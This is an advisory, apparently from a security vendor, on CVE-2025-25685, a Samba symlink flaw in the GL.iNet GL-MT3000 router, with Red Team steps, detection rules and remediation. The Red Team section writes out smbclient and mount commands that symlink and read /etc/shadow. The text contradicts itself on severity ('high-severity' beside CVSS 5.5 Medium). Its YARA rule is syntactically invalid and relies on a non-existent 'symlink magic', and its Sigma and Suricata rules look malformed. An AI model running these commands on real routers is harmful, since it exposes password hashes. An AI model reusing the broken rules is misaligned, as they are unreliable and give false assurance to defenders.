CVE-2025-25685

Executive Summary

CVE-2025-25685 is a high-severity vulnerability affecting the GL.iNet Beryl AX (GL-MT3000) router running firmware version v4.7.0. The flaw resides in the Samba share implementation, where an attacker with physical or local network access to an external drive mounted as a Samba share can create symbolic links (symlinks) pointing to arbitrary files on the device's filesystem. This allows unauthorized read access to sensitive system files, including configuration files, credentials, and cryptographic keys. The vulnerability is classified as a Symlink Following (CWE-59) issue and has a CVSS v3.1 base score of 5.5 (Medium), with a vector of AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in the GL.iNet router's Samba service.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.5 (Medium)
• Attack Vector: Local (AV:L) – Requires physical or local network access to the external drive.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs a user account on the Samba share.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Arbitrary file read.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires local access to the Samba share, but once achieved, an attacker can exfiltrate sensitive data such as /etc/shadow, /etc/config/wireless, or private keys.

Deep Dive & Mechanics

The vulnerability exists in the Samba server configuration on the GL-MT3000 router. When an external drive is mounted as a Samba share, the filesystem is exposed to users with write permissions. The Samba service does not properly validate or restrict the creation of symbolic links within the share. An attacker can create a symlink pointing to a sensitive file outside the share directory (e.g., /etc/shadow). When the symlink is accessed via Samba, the server follows the link and serves the target file, bypassing access controls.

Root Cause: The Samba configuration likely has follow symlinks = yes (default) and does not enforce wide links = no or unix extensions = no to prevent symlink traversal. Additionally, the path directive may not be restricted to the mount point.

Attack Flow:

1. Attacker connects to the Samba share (e.g., via smbclient or mounting the share).
2. Attacker creates a symbolic link: ln -s /etc/shadow shadow.txt
3. Attacker reads the symlink: cat shadow.txt (or via SMB client).
4. The Samba server returns the contents of /etc/shadow.

Vulnerable vs. Patched Code

Vulnerable Configuration (v4.7.0):

[global]
   follow symlinks = yes
   wide links = yes
   unix extensions = yes

Patched Configuration (Hypothetical):

[global]
   follow symlinks = no
   wide links = no
   unix extensions = no

Alternatively, the share definition should restrict symlink creation:

[share]
   path = /mnt/sda1
   valid users = @smbusers
   writeable = yes
   follow symlinks = no

Exploitation & Lab Setup

Red Team

Prerequisites:

• GL-MT3000 router with firmware v4.7.0
• External drive formatted as ext4 or NTFS, mounted as Samba share
• SMB client (e.g., smbclient on Linux, or Windows File Explorer)

Exploitation Steps:

1. Connect to the Samba share:

   smbclient //192.168.1.1/share -U username
   

2. Create a symbolic link to a sensitive file:

   smb: \> symlink /etc/shadow shadow.txt
   

3. Read the file:

   smb: \> get shadow.txt
   

4. Exfiltrate the file:

   cat shadow.txt
   

Alternative using mount:

sudo mount -t cifs //192.168.1.1/share /mnt/smb -o username=user
cd /mnt/smb
ln -s /etc/shadow shadow.txt
cat shadow.txt

Blue Team

Detection:

• Monitor Samba logs for symlink creation events (e.g., log level = 2 in smb.conf).
• Look for unusual file access patterns, such as reading files outside the share directory.
• Use file integrity monitoring (FIM) on the external drive to detect symlink creation.

Prevention:

• Disable symlink following in Samba configuration.
• Restrict Samba share to read-only for untrusted users.
• Use filesystem ACLs to prevent symlink creation on the share.

Indicators of Compromise (IOCs)

• File System: Presence of symbolic links pointing to /etc/, /var/, or /tmp/ on the Samba share.
• Network: SMB connections from unusual IP addresses or at odd hours.
• Logs: Samba logs showing symlink operations or access to files outside the share path.
• Process: Unusual smbd child processes handling symlink requests.

Example IOC (Symlink):

ls -la /mnt/sda1/
lrwxrwxrwx 1 user user 11 Jan 1 00:00 shadow.txt -> /etc/shadow

Detection Engineering

YARA Rule

rule CVE_2025_25685_Symlink_Detection {
    meta:
        description = "Detects symbolic links pointing to sensitive system files on Samba shares"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-25685"
    strings:
        $s1 = "/etc/shadow" ascii wide
        $s2 = "/etc/passwd" ascii wide
        $s3 = "/etc/config" ascii wide
        $s4 = "/var/private" ascii wide
    condition:
        any of ($s*) and uint32(0) == 0x0AFF (symlink magic)
}

Sigma Rule

title: CVE-2025-25685 Samba Symlink Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of symbolic links to sensitive files on Samba shares
author: Valters IT
date: 2025-04-01
logsource:
    product: linux
    service: samba
detection:
    selection:
        EventID: 1 (Process creation)
        CommandLine|contains: 'ln -s /etc/'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert smb any any -> any 445 (msg:"CVE-2025-25685 Samba Symlink Exploitation"; flow:to_server; content:"|00|"; depth:1; content:"|2f 65 74 63 2f|"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Samba symlink following: Edit /etc/samba/smb.conf and set follow symlinks = no and wide links = no.
2. Restrict share permissions: Set writeable = no for untrusted users.
3. Use filesystem ACLs: Prevent symlink creation on the share mount point.
4. Monitor Samba logs: Enable verbose logging to detect symlink abuse.

Long-term Fix:

• Apply firmware update from GL.iNet when available.
• Implement filesystem-level symlink restrictions (e.g., mount -o nosymfollow).
• Use a dedicated Samba configuration with unix extensions = no.

Workaround:

• Remove external drive from Samba share if not needed.
• Use read-only Samba shares for untrusted users.

Valters IT